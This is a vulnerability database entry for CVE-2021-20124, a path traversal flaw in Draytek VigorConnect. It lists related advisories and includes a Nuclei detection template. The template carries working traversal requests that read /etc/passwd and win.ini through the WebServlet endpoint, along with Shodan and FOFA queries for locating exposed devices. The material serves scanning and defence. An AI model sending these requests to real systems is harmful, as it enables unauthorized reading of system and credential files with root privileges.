Draytek VigorConnect 6.0-B3 - Local File Inclusion

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType

Draytek VigorConnect 6.0-B3 - Local File Inclusion vulnerability. Allows unauthorized access to sensitive information

Reporter	Title	Published	Views	Family All 21
ATTACKERKB	CVE-2021-20124	13 Oct 202100:00	–	attackerkb
BDU FSTEC	The vulnerability of software for monitoring, managing, and configuring VigorAP access points and VigorSwitches in the DrayTek VigorConnect local network lies in improper restrictions on path names to the restricted directory. This allows attackers to load arbitrary files with root privileges.	9 Oct 202400:00	–	bdu_fstec
Circl	CVE-2021-20124	13 Oct 202120:26	–	circl
CISA KEV Catalog	Draytek VigorConnect Path Traversal Vulnerability	3 Sep 202400:00	–	cisa_kev
CISA	CISA Adds Three Known Exploited Vulnerabilities to Catalog	3 Sep 202412:00	–	cisa
CNNVD	Draytek VigorConnect 路径遍历漏洞	13 Oct 202100:00	–	cnnvd
CNVD	Draytek VigorConnect Local File Inclusion Vulnerability	14 Oct 202100:00	–	cnvd
Check Point Advisories	Draytek VigorConnect Directory Traversal (CVE-2021-20124)	7 Nov 202100:00	–	checkpoint_advisories
CVE	CVE-2021-20124	13 Oct 202115:48	–	cve
Cvelist	CVE-2021-20124	13 Oct 202115:48	–	cvelist

Source	Link
tenable	www.tenable.com/security/research/tra-2021-42
draytek	www.draytek.com/products/vigorconnect/
nvd	www.nvd.nist.gov/vuln/detail/CVE-2021-20124
github	www.github.com/ARPSyndicate/kenzer-templates

id: CVE-2021-20124

info:
  name: Draytek VigorConnect 6.0-B3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://www.draytek.com/products/vigorconnect/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20124
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20124
    cwe-id: CWE-22
    epss-score: 0.69248
    epss-percentile: 0.99274
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query:
      - http.html:"VigorConnect"
      - http.html:"vigorconnect"
    fofa-query: body="vigorconnect"
  tags: cve2021,cve,draytek,lfi,vigorconnect,tenable,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
      - "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a004730450220168906ac420b038dd6be010c17b33846f7fb28f92a46ce0879d59cdfb9b0b93c022100aeee4651967bf7d779073b6369f6fa173cd6746b066297ec73c290a50d15d81f:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

7.3High risk

Vulners AI Score7.3

CVSS 3.17.5

CVSS 27.8

EPSS0.69248

SSVC